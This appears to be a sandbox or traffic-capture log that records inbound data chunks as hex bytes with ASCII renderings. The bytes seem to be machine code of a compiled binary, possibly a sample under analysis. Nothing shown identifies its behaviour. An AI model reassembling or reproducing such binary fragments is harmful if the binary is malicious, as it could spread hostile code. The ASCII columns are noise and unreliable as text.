Hl$8H@Ls%HD$hHD$;I;f\|HHl$Hl$HD$ HpHHH8H9~%vMHP(HL@(7LHL$ HA HA HH(HHL$ HA HQHHQHl$HH$HD$
2023-01-25 20:04:34 UTC	1260	IN	Data Raw: 00 5a 68 00 00 75 09 48 89 05 d7 f5 62 00 eb 15 48 8d 3d ce f5 62 00 e8 f9 e0 f2 ff eb 07 48 8d 15 90 1a 33 00 48 89 94 24 48 02 00 00 48 89 84 24 50 02 00 00 48 8b 94 24 48 02 00 00 48 85 d2 74 1f 44 0f b6 4a 17 45 89 ca 41 83 e1 1f 4d 89 cb 49 0f ba e9 07 41 f6 c2 20 4d 0f 44 d9 90 eb 07 45 31 db 31 d2 31 c0 48 8b 9c 24 28 02 00 00 48 8b 8c 24 10 01 00 00 48 89 d7 48 89 c6 4d 89 d8 48 8b 84 24 30 02 00 00 e8 87 f3 f5 ff e9 a8 14 00 00 0f b6 94 24 e0 02 00 00 84 d2 0f 84 f0 14 00 00 48 8b 8c 24 10 01 00 00 48 85 c9 74 18 0f ba e1 09 90 72 11 48 8d 05 77 e5 43 00 48 8b 9c 24 30 02 00 00 eb 15 48 8b 84 24 30 02 00 00 48 8b 9c 24 28 02 00 00 e8 58 10 f6 ff 48 89 9c 24 98 01 00 00 48 89 84 24 90 00 00 00 44 0f 11 bc 24 78 02 00 00 44 0f 11 bc 24 88 02 00 00 Data Ascii: ZhuHbH=bH3H$HH$PH$HHtDJEAMIA MDE111H$(H$HHMH$0$H$HtrHwCH$0H$0H$(XH$H$D$xD$
2023-01-25 20:04:34 UTC	1276	IN	Data Raw: 41 43 00 48 89 4c 24 78 48 89 84 24 80 00 00 00 48 8d 05 7e 95 35 00 48 8d 5c 24 78 e8 d4 f7 ec ff 48 89 c3 48 8d 05 6a 95 35 00 e8 05 c3 ef ff 48 8d 78 18 48 8b 4c 24 60 e8 d7 a1 f2 ff eb a3 48 8d 78 08 48 8b 4c 24 50 e8 c7 a1 f2 ff e9 75 ff ff ff 48 8b 44 24 68 48 8b 5c 24 70 e8 d3 d0 f5 ff 48 89 c1 48 89 d8 e9 27 ff ff ff 48 8d 05 c1 de 35 00 90 e8 bb 22 ed ff 48 c7 40 08 13 00 00 00 48 8d 0d 55 cd 39 00 48 89 08 48 8b 4c 24 40 48 89 48 10 48 89 c3 48 8d 05 36 06 34 00 e8 91 c2 ef ff 90 48 89 44 24 08 48 89 5c 24 10 48 89 4c 24 18 48 89 7c 24 20 40 88 74 24 28 44 88 44 24 29 e8 ed 7d f2 ff 48 8b 44 24 08 48 8b 5c 24 10 48 8b 4c 24 18 48 8b 7c 24 20 0f b6 74 24 28 44 0f b6 44 24 29 e9 09 fd ff ff cc cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 0b 02 00 00 Data Ascii: ACHL$xH$H~5H\$xHHj5HxHL$`HxHL$PuHD$hH\$pHH'H5"H@HU9HHL$@HHHH64HD$H\$HL$H\|$ @t$(DD$)}HD$H\$HL$H\|$ t$(DD$)I;f
2023-01-25 20:04:34 UTC	1292	IN	Data Raw: db 48 8b 6c 24 38 48 83 c4 40 c3 48 8d 72 f9 66 0f 1f 44 00 00 48 83 fe 05 0f 87 80 00 00 00 48 8b 71 08 48 83 fa 09 77 1c 48 83 fa 07 75 06 48 8b 16 eb 2f 90 48 83 fa 08 75 05 0f b6 16 eb 23 0f b7 16 eb 1e 48 83 fa 0a 75 0a 8b 16 eb 14 66 0f 1f 44 00 00 48 83 fa 0b 75 05 48 8b 16 eb 03 48 8b 16 48 89 d0 bb 0a 00 00 00 e8 c5 d2 f3 ff 48 8b 7c 24 48 48 89 5f 38 83 3d 85 d9 67 00 00 75 06 48 89 47 30 eb 09 48 83 c7 30 e8 84 60 f2 ff 31 c0 31 db 48 8b 6c 24 38 48 83 c4 40 c3 48 8d 05 0f 9a 32 00 48 8d 1d 88 ee 42 00 e8 83 82 ef ff 90 48 89 44 24 08 e8 f8 3d f2 ff 48 8b 44 24 08 e9 8e fd ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 11 04 00 00 48 83 ec 40 48 89 6c 24 38 48 8d 6c 24 38 48 89 44 24 48 40 88 7c 24 60 48 89 4c 24 58 48 89 5c Data Ascii: Hl$8H@HrfDHHqHwHuH/Hu#HufDHuHHHH\|$HH_8=guHG0H0`11Hl$8H@H2HBHD$=HD$I;fH@Hl$8Hl$8HD$H@\|$`HL$XH\
2023-01-25 20:04:34 UTC	1308	IN	Data Raw: 05 48 89 07 eb 05 e8 0a 21 f2 ff 48 8b 4c 24 70 48 8b 51 38 48 89 57 10 48 8d 15 96 c1 42 00 48 89 51 28 83 3d db 99 67 00 00 75 06 48 89 79 30 eb 0f 48 83 c1 30 48 89 f8 48 89 cf e8 d4 20 f2 ff b8 0b 00 00 00 48 8b 6c 24 60 48 83 c4 68 c3 48 89 44 24 08 88 5c 24 10 e8 57 fe f1 ff 48 8b 44 24 08 0f b6 5c 24 10 e9 88 fa ff ff cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 2a 01 00 00 48 83 ec 68 48 89 6c 24 60 48 8d 6c 24 60 80 fb 20 77 2c 0f 1f 00 0f 84 ff 00 00 00 80 fb 09 0f 84 f6 00 00 00 80 fb 0d 0f 84 ed 00 00 00 0f 1f 84 00 00 00 00 00 80 fb 0a 0f 84 dc 00 00 00 48 89 44 24 70 84 00 90 83 3d 38 99 67 00 00 75 0c 48 8d 0d 77 59 3c 00 48 89 08 eb 0f 48 89 c7 48 8d 0d 68 59 3c 00 e8 2b 21 f2 ff 89 d8 e8 c4 1f 00 00 48 89 44 24 58 48 89 5c 24 48 48 8d 05 73 Data Ascii: H!HL$pHQ8HWHBHQ(=guHy0H0HH Hl$`HhHD$\$WHD$\$I;f*HhHl$`Hl$` w,HD$p=8guHwY<HHHhY<+!HD$XH\$HHs
2023-01-25 20:04:34 UTC	1324	IN	Data Raw: df 00 00 00 4d 39 ca 0f 82 cb 00 00 00 4c 89 94 24 90 00 00 00 4d 29 ca 4a 8d 34 13 48 89 b4 24 98 00 00 00 4d 89 cb 4d 29 c1 49 c1 f9 3f 4d 21 cb 4e 8d 04 1f 48 39 f1 73 3d 4c 89 94 24 c0 00 00 00 4c 89 84 24 d8 00 00 00 48 89 cf 48 89 d9 48 89 c3 48 8d 05 1b 1c 32 00 e8 f6 44 f0 ff 48 8b 9c 24 38 01 00 00 4c 8b 84 24 d8 00 00 00 4c 8b 94 24 c0 00 00 00 48 89 84 24 c8 00 00 00 48 89 8c 24 a8 00 00 00 48 8d 14 18 4c 89 c3 48 89 d0 4c 89 d1 90 e8 bb ee f1 ff 48 8b 84 24 c8 00 00 00 48 8b 9c 24 98 00 00 00 48 8b 8c 24 a8 00 00 00 48 8b bc 24 90 00 00 00 48 8b b4 24 20 01 00 00 41 b8 01 00 00 00 48 8b ac 24 e0 00 00 00 48 81 c4 e8 00 00 00 c3 4c 89 c8 4c 89 d1 e8 92 e5 f1 ff 4c 89 d1 4c 89 c2 e8 47 e5 f1 ff 4c 89 d0 48 89 f1 90 e8 bb e4 f1 ff 31 c0 48 89 c1 Data Ascii: M9L$M)J4H$MM)I?M!NH9s=L$L$HHHH2DH$8L$L$H$H$HLHLH$H$H$H$H$ AH$HLLLLGLH1H
2023-01-25 20:04:34 UTC	1340	IN	Data Raw: 48 8b 44 24 28 48 8b 5c 24 10 48 8b 6c 24 18 48 83 c4 20 c3 48 89 f1 48 89 da e8 d6 a5 f1 ff 48 89 da e8 ce a5 f1 ff 48 89 fb 48 f7 df 48 c1 ff 3f 83 e7 01 48 8d 0c 38 48 89 c8 e8 55 72 00 00 48 8b 4c 24 10 48 ff c1 48 89 df 48 89 cb 48 89 c1 48 8b 44 24 28 48 8b 6c 24 18 48 83 c4 20 c3 49 ff c8 48 ff c1 4d 85 c0 7e 10 46 0f b6 0c 00 0f 1f 44 00 00 41 80 f9 5c 74 e5 0f ba e1 00 0f 83 fb fe ff ff eb a0 48 89 f8 48 89 d9 e8 23 a5 f1 ff 48 89 f0 48 89 d9 e8 18 a5 f1 ff 90 48 89 44 24 08 48 89 5c 24 10 e8 08 7e f1 ff 48 8b 44 24 08 48 8b 5c 24 10 e9 19 fe ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 83 ec 18 48 89 6c 24 10 48 8d 6c 24 10 48 89 44 24 20 48 89 ca eb 08 48 ff c1 0f 1f 44 00 00 48 39 cb 7e 66 0f 86 7a 01 00 Data Ascii: HD$(H\$Hl$H HHHHHH?H8HUrHL$HHHHHD$(Hl$H IHM~FDA\tHH#HHHD$H\$~HD$H\$HHl$Hl$HD$ HHDH9~fz
2023-01-25 20:04:34 UTC	1356	IN	Data Raw: 8b 94 24 a0 01 00 00 4c 89 9c 24 d8 00 00 00 4c 89 a4 24 d0 00 00 00 48 89 84 24 98 01 00 00 4c 89 84 24 b8 00 00 00 48 39 ce 0f 8e d7 04 00 00 4c 8b 2c ca 90 e9 c2 05 00 00 4d 39 fd 0f 8d b7 04 00 00 0f 83 e4 05 00 00 80 fa 5d 75 0a 4c 8b 84 24 b8 00 00 00 eb a4 48 89 8c 24 c8 00 00 00 4c 89 8c 24 c0 00 00 00 4c 89 94 24 90 01 00 00 48 89 9c 24 b0 00 00 00 48 89 f8 48 8d bc 24 90 05 00 00 48 8d 7f d0 66 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 6c 24 f0 48 8d 6c 24 f0 e8 e1 67 f1 ff 48 8b 6d 00 48 8b 10 48 8b 58 08 4c 89 e9 bf 01 00 00 00 48 89 d0 e8 d6 39 00 00 48 8d bc 24 90 05 00 00 48 89 e6 66 0f 1f 84 00 00 00 00 00 66 90 48 89 6c 24 f0 48 8d 6c 24 f0 e8 0b 6b f1 ff 48 8b 6d 00 48 8d bc 24 10 03 00 00 48 8d b4 24 90 05 00 00 48 89 6c 24 f0 48 8d Data Ascii: $L$L$H$L$H9L,M9]uL$H$L$L$H$HH$HfDHl$Hl$gHmHHXLH9H$HffHl$Hl$kHmH$H$Hl$H
2023-01-25 20:04:34 UTC	1372	IN	Data Raw: 49 01 c1 eb 20 49 89 da 48 29 cb 49 89 db 48 f7 db 48 c1 fb 3f 48 21 cb 4c 8d 24 18 4c 89 d3 4d 89 ca 4d 89 e1 84 d2 75 0a 31 f6 4c 89 d1 e9 b3 fb ff ff 4c 89 4c 24 38 4c 89 5c 24 40 41 80 f8 66 75 0b 48 c7 44 24 30 01 00 00 00 eb 0f 41 80 f8 74 75 09 48 c7 44 24 30 04 00 00 00 48 8d bc 24 08 01 00 00 48 8d 74 24 30 66 0f 1f 84 00 00 00 00 00 66 90 48 89 6c 24 f0 48 8d 6c 24 f0 e8 6b 2b f1 ff 48 8b 6d 00 4c 89 d0 bb 01 00 00 00 48 8b ac 24 f8 00 00 00 48 81 c4 00 01 00 00 c3 48 89 c8 4c 89 c9 e8 ca 25 f1 ff 4c 89 c8 48 89 d9 0f 1f 40 00 e8 fb 24 f1 ff 4c 89 c8 48 89 d9 e8 f0 24 f1 ff b8 01 00 00 00 31 c9 e8 a4 25 f1 ff 48 89 ca 4c 89 c1 e8 19 25 f1 ff b8 01 00 00 00 31 c9 e8 8d 25 f1 ff 48 89 ca 48 89 f1 e8 02 25 f1 ff 48 89 c8 48 89 d9 e8 b7 24 f1 ff 90 Data Ascii: I IH)IHH?H!L$LMMu1LLL$8L\$@AfuHD$0AtuHD$0H$Ht$0ffHl$Hl$k+HmLH$HHL%LH@$LH$1%HL%1%HH%HH$
2023-01-25 20:04:34 UTC	1388	IN	Data Raw: eb eb f0 ff 48 8b 6d 00 48 8d bc 24 48 01 00 00 48 8d b4 24 88 02 00 00 48 89 6c 24 f0 48 8d 6c 24 f0 e8 c8 eb f0 ff 48 8b 6d 00 48 83 bc 24 48 01 00 00 05 90 0f 85 6d 03 00 00 48 8b 94 24 50 01 00 00 48 83 bc 24 58 01 00 00 00 0f 84 56 03 00 00 80 3a 5b 0f 85 4d 03 00 00 c6 44 24 5f 00 48 8b 9c 24 60 06 00 00 48 85 db 0f 84 09 01 00 00 48 8b 84 24 58 06 00 00 e8 77 37 ff ff 48 89 84 24 38 02 00 00 48 89 9c 24 40 02 00 00 48 89 8c 24 48 02 00 00 48 89 bc 24 50 02 00 00 48 89 b4 24 58 02 00 00 f2 0f 11 84 24 60 02 00 00 4c 89 84 24 68 02 00 00 4c 89 8c 24 70 02 00 00 4c 89 94 24 78 02 00 00 4c 89 9c 24 80 02 00 00 48 8d bc 24 e8 01 00 00 48 8d b4 24 38 02 00 00 48 89 6c 24 f0 48 8d 6c 24 f0 e8 01 eb f0 ff 48 8b 6d 00 44 0f 11 bc 24 a8 00 00 00 48 8d 0d 13 Data Ascii: HmH$HH$Hl$Hl$HmH$HmH$PH$XV:[MD$_H$`HH$Xw7H$8H$@H$HH$PH$X$`L$hL$pL$xL$H$H$8Hl$Hl$HmD$H
2023-01-25 20:04:34 UTC	1404	IN	Data Raw: 00 e8 0f a1 f0 ff 48 8b 0d c8 95 60 00 48 89 4c 24 18 48 8d 05 7c 3d 35 00 e8 17 23 eb ff 83 3d e0 19 66 00 00 75 0b 48 8b 4c 24 18 48 89 48 18 eb 0e 48 8d 78 18 48 8b 4c 24 18 e8 d5 a1 f0 ff 48 c7 40 10 12 00 00 00 48 8d 0d 47 bf 37 00 48 89 48 08 83 3d ab 19 66 00 00 75 09 48 89 05 7a 95 60 00 eb 0c 48 8d 3d 71 95 60 00 e8 a4 a0 f0 ff 48 8b 0d 6d 95 60 00 48 89 4c 24 10 48 8d 05 11 3d 35 00 e8 ac 22 eb ff 83 3d 75 19 66 00 00 75 0b 48 8b 4c 24 10 48 89 48 18 eb 0e 48 8d 78 18 48 8b 4c 24 10 e8 6a a1 f0 ff 48 c7 40 10 09 00 00 00 48 8d 0d cb 88 37 00 48 89 48 08 83 3d 40 19 66 00 00 75 09 48 89 05 1f 95 60 00 eb 0c 48 8d 3d 16 95 60 00 e8 39 a0 f0 ff 48 8b 6c 24 20 48 83 c4 28 c3 e8 ca 7d f0 ff e9 c5 fd ff ff cc cc cc cc cc 8b 08 39 0b 75 0c 48 8b 48 08 Data Ascii: H`HL$H\|=5#=fuHL$HHHxHL$H@HG7HH=fuHz`H=q`Hm`HL$H=5"=ufuHL$HHHxHL$jH@H7HH=@fuH`H=`9Hl$ H(}9uHH
2023-01-25 20:04:34 UTC	1420	IN	Data Raw: 8b 2c 24 48 83 c4 08 c3 e8 68 a4 ea ff 90 48 89 44 24 08 66 90 e8 9b 3e f0 ff 48 8b 44 24 08 eb b4 4c 8d 6c 24 10 4d 39 2c 24 75 c4 49 89 24 24 eb be cc cc cc 49 3b 66 10 76 33 48 83 ec 08 48 89 2c 24 48 8d 2c 24 4d 8b 66 20 4d 85 e4 75 31 0f 1f 44 00 00 48 85 c0 74 0e e8 96 dd ff ff 48 8b 2c 24 48 83 c4 08 c3 e8 08 a4 ea ff 90 48 89 44 24 08 66 90 e8 3b 3e f0 ff 48 8b 44 24 08 eb b4 4c 8d 6c 24 10 4d 39 2c 24 75 c4 49 89 24 24 eb be cc cc cc 49 3b 66 10 76 2e 48 83 ec 10 48 89 6c 24 08 48 8d 6c 24 08 4d 8b 66 20 4d 85 e4 75 28 48 8b 08 48 8b 40 08 48 8b 49 18 ff d1 48 8b 6c 24 08 48 83 c4 10 c3 48 89 44 24 08 e8 e2 3d f0 ff 48 8b 44 24 08 eb bb 4c 8d 6c 24 18 4d 39 2c 24 75 cd 49 89 24 24 eb c7 cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 76 68 48 83 ec 10 Data Ascii: ,$HhHD$f>HD$Ll$M9,$uI$$I;fv3HH,$H,$Mf Mu1DHtH,$HHD$f;>HD$Ll$M9,$uI$$I;fv.HHl$Hl$Mf Mu(HH@HIHl$HHD$=HD$Ll$M9,$uI$$I;fvhH
2023-01-25 20:04:34 UTC	1436	IN	Data Raw: ff 48 8d 44 24 60 48 8d 9c 24 80 00 00 00 e8 c2 da ff ff b8 01 00 00 00 eb 1b 48 89 44 24 50 90 48 8d 44 24 60 48 89 c3 e8 a8 da ff ff 48 8b 44 24 50 48 ff c0 48 83 f8 06 7c df 48 8d 84 24 80 00 00 00 48 89 c3 48 8d 4c 24 60 e8 45 cd ff ff 31 c0 eb 21 48 89 44 24 48 90 48 8d 84 24 80 00 00 00 48 89 c3 e8 6b da ff ff 48 8b 44 24 48 48 ff c0 0f 1f 00 48 83 f8 02 7c d9 90 48 8d 84 24 a0 00 00 00 48 89 c3 48 8d 8c 24 80 00 00 00 e8 01 cd ff ff 48 8d 84 24 80 00 00 00 48 8d 9c 24 a0 00 00 00 e8 2c da ff ff b8 01 00 00 00 eb 1e 48 89 44 24 40 90 48 8d 84 24 80 00 00 00 48 89 c3 e8 0f da ff ff 48 8b 44 24 40 48 ff c0 48 83 f8 03 7c dc 90 48 8d 84 24 c0 00 00 00 48 89 c3 48 8d 8c 24 80 00 00 00 e8 a8 cc ff ff 48 8d 84 24 80 00 00 00 48 8d 9c 24 c0 00 00 00 e8 d3 Data Ascii: HD$`H$HD$PHD$`HHD$PHH\|H$HHL$`E1!HD$HH$HkHD$HHH\|H$HH$H$H$,HD$@H$HHD$@HH\|H$HH$H$H$
2023-01-25 20:04:34 UTC	1452	IN	Data Raw: 00 4c 8b ac 24 10 07 00 00 4d 11 e9 4c 8b 8c 24 90 06 00 00 4c 8b ac 24 08 07 00 00 4d 11 e9 4c 8b 8c 24 88 06 00 00 4c 8b ac 24 00 07 00 00 4d 11 e9 4c 8b 8c 24 80 06 00 00 4c 8b ac 24 f0 06 00 00 4d 11 e9 4c 8b 8c 24 78 06 00 00 4c 8b ac 24 e8 06 00 00 4d 11 e9 4c 8b 8c 24 70 06 00 00 4c 8b ac 24 e0 06 00 00 4d 11 e9 4d 19 c9 4c 8b ac 24 e8 05 00 00 4d 01 e8 4c 8b 84 24 d8 05 00 00 4c 8b ac 24 58 06 00 00 4d 11 e8 4c 8b 84 24 d0 05 00 00 4c 8b ac 24 50 06 00 00 4d 11 e8 4c 8b 84 24 c0 05 00 00 4c 8b ac 24 48 06 00 00 4d 11 e8 4c 8b 84 24 b8 05 00 00 4c 8b ac 24 40 06 00 00 4d 11 e8 4c 8b 84 24 b0 05 00 00 4c 8b ac 24 38 06 00 00 4d 11 e8 4c 8b 84 24 a8 05 00 00 4c 8b ac 24 28 06 00 00 4d 11 e8 4d 19 c0 4c 8b ac 24 80 00 00 00 49 01 f5 48 8b b4 24 48 05 Data Ascii: L$ML$L$ML$L$ML$L$ML$xL$ML$pL$MML$ML$L$XML$L$PML$L$HML$L$@ML$L$8ML$L$(MML$IH$H
2023-01-25 20:04:34 UTC	1468	IN	Data Raw: 06 00 00 48 8b 94 24 f0 06 00 00 48 11 d1 48 19 c9 48 f7 d9 48 8b 94 24 98 01 00 00 bb ff ff ff ff 48 89 d7 48 29 da 48 8b 94 24 90 01 00 00 48 89 d3 4c 19 c2 48 8b 94 24 88 01 00 00 49 89 d0 48 83 da fe 48 8b 94 24 80 01 00 00 49 89 d1 48 83 da ff 48 8b 94 24 78 01 00 00 49 89 d2 48 83 da ff 48 8b 94 24 70 01 00 00 49 89 d3 48 83 da ff 48 83 d9 00 48 c7 84 24 40 01 00 00 00 00 00 00 48 19 c9 90 48 21 cf 48 89 ca 48 f7 d1 4c 8b ac 24 60 01 00 00 49 21 cd 49 09 fd 4c 89 ac 24 40 01 00 00 48 c7 84 24 38 01 00 00 00 00 00 00 90 48 21 d3 48 8b bc 24 58 01 00 00 48 21 cf 48 09 df 48 89 bc 24 38 01 00 00 48 c7 84 24 30 01 00 00 00 00 00 00 90 49 21 d0 48 8b 9c 24 50 01 00 00 48 21 cb 4c 09 c3 48 89 9c 24 30 01 00 00 48 c7 84 24 28 01 00 00 00 00 00 00 90 49 21 Data Ascii: H$HHHH$HH)H$HLH$IHH$IHH$xIHH$pIHHH$@HH!HHL$`I!IL$@H$8H!H$XH!HH$8H$0I!H$PH!LH$0H$(I!
2023-01-25 20:04:34 UTC	1484	IN	Data Raw: 24 68 11 00 00 49 f7 e4 48 89 94 24 40 06 00 00 48 89 84 24 48 06 00 00 4c 89 e0 4c 8b ac 24 60 11 00 00 49 f7 e5 48 89 94 24 30 06 00 00 48 89 84 24 38 06 00 00 48 8b 84 24 58 11 00 00 49 f7 e4 48 89 94 24 20 06 00 00 48 89 84 24 28 06 00 00 48 8b 84 24 50 11 00 00 49 f7 e4 48 89 94 24 10 06 00 00 48 89 84 24 18 06 00 00 48 8b 84 24 48 11 00 00 49 f7 e4 48 89 94 24 00 06 00 00 48 89 84 24 08 06 00 00 48 8b 84 24 40 11 00 00 49 f7 e4 48 89 94 24 f0 05 00 00 48 89 84 24 f8 05 00 00 48 8b 84 24 38 11 00 00 49 f7 e4 48 89 94 24 d8 05 00 00 48 89 84 24 e8 05 00 00 48 8b 84 24 30 11 00 00 49 f7 e4 48 89 94 24 c8 05 00 00 48 89 84 24 d0 05 00 00 4c 8b a4 24 e8 05 00 00 4c 01 e2 48 89 94 24 c0 05 00 00 4c 8b ac 24 d8 05 00 00 4c 8b a4 24 f8 05 00 00 4d 11 e5 4c Data Ascii: $hIH$@H$HLL$`IH$0H$8H$XIH$ H$(H$PIH$H$H$HIH$H$H$@IH$H$H$8IH$H$H$0IH$H$L$LH$L$L$ML
2023-01-25 20:04:34 UTC	1500	IN	Data Raw: 00 00 4c 8b 84 24 58 07 00 00 4d 11 c1 4c 89 8c 24 b8 06 00 00 4c 8b 84 24 a8 07 00 00 4c 8b 94 24 40 0d 00 00 4d 01 d0 4c 89 84 24 a8 06 00 00 4c 8b 84 24 a0 07 00 00 4d 11 c4 4c 89 a4 24 a0 06 00 00 4c 8b a4 24 98 07 00 00 4d 11 e3 4c 89 9c 24 98 06 00 00 4c 8b 9c 24 90 07 00 00 4c 11 de 48 89 b4 24 90 06 00 00 48 8b b4 24 88 07 00 00 49 11 f7 4c 89 bc 24 88 06 00 00 4c 8b bc 24 80 07 00 00 4c 11 f8 48 89 84 24 80 06 00 00 4c 8b bc 24 78 07 00 00 4c 11 fa 48 89 94 24 78 06 00 00 48 8b 94 24 70 07 00 00 49 11 d5 4c 89 ac 24 70 06 00 00 4c 8b ac 24 68 07 00 00 4d 11 e9 4c 89 8c 24 68 06 00 00 4c 8b 8c 24 50 09 00 00 4c 8b ac 24 08 0d 00 00 4d 01 e9 4c 8b 8c 24 b0 08 00 00 4c 8b ac 24 48 09 00 00 4d 11 e9 4c 8b 8c 24 a8 08 00 00 4c 8b ac 24 40 09 00 00 4d Data Ascii: L$XML$L$L$@ML$L$ML$L$ML$L$LH$H$IL$L$LH$L$xLH$xH$pIL$pL$hML$hL$PL$ML$L$HML$L$@M
2023-01-25 20:04:34 UTC	1516	IN	Data Raw: 00 00 4d 11 d1 4c 8b 8c 24 40 08 00 00 4c 8b 94 24 50 03 00 00 4d 11 d1 4d 19 c9 4c 8b 94 24 38 08 00 00 48 89 f7 48 8b b4 24 48 03 00 00 49 01 f2 48 8b b4 24 40 03 00 00 48 83 d6 00 48 8b b4 24 38 03 00 00 48 83 d6 00 48 8b b4 24 30 03 00 00 48 83 d6 00 48 8b b4 24 28 03 00 00 48 83 d6 00 48 8b b4 24 20 03 00 00 48 83 d6 00 48 8b b4 24 18 03 00 00 48 83 d6 00 48 8b b4 24 08 03 00 00 48 83 d6 00 48 19 f6 4c 8b 94 24 b0 03 00 00 49 29 d2 4d 29 ca 49 29 f2 4c 89 94 24 40 08 00 00 48 8b 94 24 a8 02 00 00 4c 01 c2 4c 11 e8 4c 8b 8c 24 90 02 00 00 4d 11 e1 4c 8b 8c 24 80 02 00 00 4d 11 d9 4c 8b 8c 24 78 02 00 00 4d 11 f9 4c 8b 8c 24 70 02 00 00 49 11 f9 4c 8b 8c 24 68 02 00 00 4c 8b bc 24 d0 02 00 00 4d 11 f9 4c 8b 8c 24 60 02 00 00 4c 8b bc 24 c8 02 00 00 4d Data Ascii: ML$@L$PMML$8HH$HIH$@HH$8HH$0HH$(HH$ HH$HH$HHL$I)M)I)L$@H$LLL$ML$ML$xML$pIL$hL$ML$`L$M
2023-01-25 20:04:34 UTC	1532	IN	Data Raw: 00 c3 31 c0 48 8b ac 24 78 01 00 00 48 81 c4 80 01 00 00 c3 31 c0 48 8b ac 24 78 01 00 00 48 81 c4 80 01 00 00 c3 48 83 f9 1d 0f 85 d5 01 00 00 0f b6 13 66 90 80 fa 02 74 09 80 fa 03 0f 85 c2 01 00 00 44 0f 11 bc 24 80 00 00 00 44 0f 11 bc 24 90 00 00 00 48 ff cf 48 89 fa 48 f7 df 48 c1 ff 3f 83 e7 01 48 8d 34 3b 48 8d 84 24 80 00 00 00 b9 1c 00 00 00 48 89 d7 48 89 f3 e8 54 49 fe ff 48 85 db 0f 85 69 01 00 00 48 89 84 24 50 01 00 00 44 0f 11 7c 24 60 44 0f 11 7c 24 70 48 89 c3 48 8d 44 24 60 e8 ea 01 00 00 48 89 84 24 40 01 00 00 48 89 c3 e8 fa 2c 00 00 84 c0 0f 84 f6 00 00 00 44 0f 11 7c 24 40 44 0f 11 7c 24 50 48 8b 8c 24 40 01 00 00 84 01 90 48 8d 44 24 40 48 89 c3 e8 ee 67 fe ff 44 0f 11 7c 24 24 44 0f 11 7c 24 30 48 8b 84 24 40 01 00 00 48 8d 5c 24 Data Ascii: 1H$xH1H$xHHftD$D$HHHH?H4;H$HHTIHiH$PD\|$`D\|$pHHD$`H$@H,D\|$@D\|$PH$@HD$@HgD\|$$D\|$0H$@H\$
2023-01-25 20:04:34 UTC	1548	IN	Data Raw: 01 48 8d 70 01 48 8b 7c c4 18 48 33 3c c1 48 09 fa 48 89 f0 90 48 83 f8 04 7c e4 90 48 f7 d2 48 89 d1 48 c1 ea 20 48 21 d1 48 89 ca 48 c1 e9 10 48 21 d1 48 89 ca 48 c1 e9 08 48 21 d1 48 89 ca 48 c1 e9 04 48 21 d1 48 89 ca 48 c1 e9 02 48 21 d1 48 89 ca 48 d1 e9 48 21 d1 83 e1 01 48 83 f9 01 74 33 48 8d 05 cb ed 30 00 e8 c6 e2 e8 ff 48 c7 40 08 17 00 00 00 48 8d 0d f3 aa 35 00 48 89 08 48 89 c3 48 8d 05 ca 01 3f 00 48 8b 6c 24 68 48 83 c4 70 90 c3 31 c0 31 db 48 8b 6c 24 68 48 83 c4 70 c3 48 89 44 24 08 48 89 5c 24 10 e8 02 3e ee ff 48 8b 44 24 08 48 8b 5c 24 10 e9 b3 fe ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 83 ec 60 48 89 6c 24 58 48 8d 6c 24 58 48 89 44 24 68 44 0f 11 7c 24 38 44 0f 11 7c 24 48 48 8b 13 48 8b 31 48 89 f7 48 01 Data Ascii: HpH\|H3<HHH\|HHH H!HHH!HHH!HHH!HHH!HHH!Ht3H0H@H5HHH?Hl$hHp11Hl$hHpHD$H\$>HD$H\$H`Hl$XHl$XHD$hD\|$8D\|$HHH1HH
2023-01-25 20:04:34 UTC	1564	IN	Data Raw: 44 0f 11 7c 24 60 44 0f 11 7c 24 70 48 8d 84 24 b0 00 00 00 48 8d 5c 24 50 e8 37 0c fe ff 48 8b 54 24 30 48 8d 34 1a 48 8d 76 01 48 89 74 24 48 48 8b 7c 24 40 48 39 f7 72 0a 48 8b 8c 24 58 01 00 00 eb 3e 48 89 84 24 40 01 00 00 48 89 5c 24 28 48 8d 05 1d 5c 2e 00 48 8b 9c 24 58 01 00 00 48 8b 4c 24 38 e8 eb 84 ec ff 48 8b 54 24 30 48 8b 5c 24 28 48 89 cf 48 89 c1 48 8b 84 24 40 01 00 00 48 89 7c 24 40 48 89 8c 24 58 01 00 00 48 8d 14 0a 48 8d 52 01 48 89 c6 48 89 d0 49 89 d8 48 89 f3 4c 89 c1 e8 aa 2e ee ff 48 8b 84 24 58 01 00 00 48 8b 5c 24 48 48 8b 4c 24 40 48 8b ac 24 60 01 00 00 48 81 c4 68 01 00 00 c3 48 8b 84 24 78 01 00 00 c6 00 00 bb 01 00 00 00 b9 61 00 00 00 48 8b ac 24 60 01 00 00 48 81 c4 68 01 00 00 c3 48 89 44 24 08 48 89 5c 24 10 e8 b4 fd Data Ascii: D\|$`D\|$pH$H\$P7HT$0H4HvHt$HH\|$@H9rH$X>H$@H\$(H\.H$XHL$8HT$0H\$(HHH$@H\|$@H$XHHRHHIHL.H$XH\$HHL$@H$`HhH$xaH$`HhHD$H\$
2023-01-25 20:04:34 UTC	1580	IN	Data Raw: c8 00 00 00 48 8b 8c 24 a8 01 00 00 e8 04 55 fe ff 48 8b 8c 24 d0 01 00 00 c6 01 02 44 0f 11 bc 24 86 00 00 00 44 0f 11 bc 24 88 00 00 00 44 0f 11 bc 24 98 00 00 00 44 0f 11 bc 24 a8 00 00 00 44 0f 11 bc 24 b8 00 00 00 48 8d 84 24 c8 00 00 00 48 8d 9c 24 86 00 00 00 e8 77 4f fe ff 48 8b 8c 24 d0 01 00 00 0f b6 11 48 83 fb 41 0f 86 06 01 00 00 0f b6 70 41 83 e6 01 09 f2 88 11 44 0f 11 7c 24 44 44 0f 11 7c 24 46 44 0f 11 7c 24 56 44 0f 11 7c 24 66 44 0f 11 7c 24 76 48 8d 84 24 10 01 00 00 48 8d 5c 24 44 e8 27 4f fe ff 48 8d 73 01 48 89 74 24 30 48 83 fe 43 77 0f 48 8b 8c 24 d0 01 00 00 ba 43 00 00 00 eb 41 48 89 84 24 a0 01 00 00 48 89 5c 24 28 48 8d 05 95 1b 2e 00 48 8b 9c 24 d0 01 00 00 b9 01 00 00 00 bf 43 00 00 00 0f 1f 00 e8 